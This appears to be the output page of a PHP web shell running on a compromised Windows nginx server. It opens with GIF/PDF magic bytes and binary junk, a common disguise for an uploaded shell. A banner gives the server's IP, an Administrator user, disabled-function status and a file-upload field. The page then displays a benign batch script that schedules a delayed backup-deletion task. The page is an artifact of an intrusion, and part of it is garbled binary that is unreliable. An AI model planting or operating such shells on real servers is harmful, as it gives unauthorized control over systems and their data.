GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/admin/database/backup/ |
Upload File : |
::@echo off :: Schedule command with delay. set command=%~1 set delay=%~2 if NOT "%command%"=="" ( if NOT "%delay%"=="" ( goto:scheduletask ) else ( goto:usage ) ) else ( goto:usage ) goto:EOF :scheduletask :: Get date in format mm/dd/yyyy. For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set _my_date=%%a/%%b/%%c) ::echo _my_date=%_my_date% :: Get time in format hh:mm for /f "tokens=1-3 delims=:.," %%a in ("%time%") do set /A "new=(%%a*60+1%%b-100+delay)*60+1%%c-100" set /a "ss=new%%60+100,new/=60,mm=new%%60+100,hh=new/60,hh-=hh*!(hh-24)" set hh=0%hh% set hh=%hh:~-2% set "_scheduledtime=%hh%:%mm:~1%" ::echo _scheduledtime=%_scheduledtime% :: Get date in format yyyymmdd. For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set _st_date=%%c%%a%%b) ::echo _st_date=%_st_date% :: Get time in format hhmmss for /f "tokens=1-3 delims=:.," %%a in ("%time%") do set /A "new=(%%a*60+1%%b-100+delay)*60+1%%c-100" set /a "ss=new%%60+100,new/=60,mm=new%%60+100,hh=new/60,hh-=hh*!(hh-24)" set hh=0%hh% set hh=%hh:~-2% set "_st_time=%hh%%mm:~1%%ss:~1%" ::echo _st_time=%_st_time% set task_name=delete_backup_file_%_st_date%_%_st_time% set full_command=%command% %task_name% set schtasks=schtasks /create /sc ONCE /tn %task_name% /tr "%full_command%" /sd %_my_date% /st %_scheduledtime% ::echo %schtasks% %schtasks% goto:EOF :usage echo USAGE: schedule_task command_to_schedule delay echo command_to_schedule = The command to schedule. echo delay = The delay in minutes. goto:EOF ::exit